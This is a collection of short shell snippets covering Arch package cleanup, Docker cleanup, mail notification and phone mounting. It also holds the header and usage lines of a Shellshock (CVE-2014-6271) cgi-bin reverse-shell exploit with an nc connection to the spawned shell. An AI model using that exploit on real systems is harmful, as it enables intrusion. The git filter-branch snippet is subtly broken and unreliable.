$ pacman -Rns $(pacman -Qtdq)
$ pacman -Qen
$ git filter-branch --env-filter ' | |
oldname="old username" | |
oldemail="old email address" | |
newname="new username" | |
newemail="old username address" | |
[ "$GIT_AUTHOR_EMAIL"="$oldemail" ] && GIT_AUTHOR_EMAIL="$newemail" | |
[ "$GIT_COMMITTER_EMAIL"="$oldemail" ] && GIT_COMMITTER_EMAIL="$newemail" | |
[ "$GIT_AUTHOR_NAME"="$oldname" ] && GIT_AUTHOR_NAME="$newname" | |
[ "$GIT_COMMITTER_NAME"="$oldname" ] && GIT_COMMITTER_NAME="$newname" | |
' HEAD |
- On first terminal : | |
$ tcpserver -v 0.0.0.0 8888 tail -f /tmp/script | |
- On another terminal : | |
$ script -f /tmp/script | |
- Anyone that wants to view your session can simply run: |
For containers: | |
docker rm $(docker ps -aq) | |
For images: | |
docker rmi $(docker images -q --filter dangling=true) |
#!/usr/bin/python | |
# | |
# CVE-2014-6271 cgi-bin reverse shell | |
# | |
# Ex: | |
# $ ./shellshock.py 10.1.1.44 /cgi-bin/hello.cgi 10.2.2.44 2222 | |
# $ nc 10.1.1.44 2222 | |
# | |
$ cat /usr/lib/cgi-bin/hello.cgi | |
#!/bin/bash | |
echo "Content-type: text/plain" | |
echo | |
echo | |
echo "Hi" | |
$ curl http://x.x.x.x/cgi-bin/hello.cgi | |
Hi |
#!/usr/bin/bash | |
# | |
# Script to notify user for new mails. | |
# Crontab ex: | |
# */3 * * * * ~/bin/offlineimap-notify.sh | |
# | |
#run OfflineIMAP once, with quiet interface | |
offlineimap -o -q -u quiet |
$ for i in `find . -name "*.py"`; do if ! grep -q "unicode" $i ; then echo $i ; fi ; done |
$ docker run --rm=true -p 7306:3306 --name db dockerfile/mysql | |
140828 11:09:55 mysqld_safe Logging to syslog. | |
140828 11:09:55 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql | |
$ docker ps -a | |
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES | |
f748825d6b83 dockerfile/mysql:latest "mysqld_safe" 18 minutes ago Up 18 minutes 0.0.0.0:7306->3306/tcp db | |
$ docker run --link db:db --name nimbus-cmdb oab/nimbus-cmdb env |
* Install android-udev package from AUR | |
* Install go-mtpfs package from AUR | |
* Add fuse group if you don’t have it already: | |
$ groupadd fuse | |
* Add yourself to fuse group | |
$ gpasswd -a YOURLOGIN fuse | |
* Create mounting directory | |
$ mkdir /media/nexus | |
$ chown YOURLOGIN /media/nexus | |
* Create aliases to allow quick mounting. This needs to go to your ~/.bashrc file |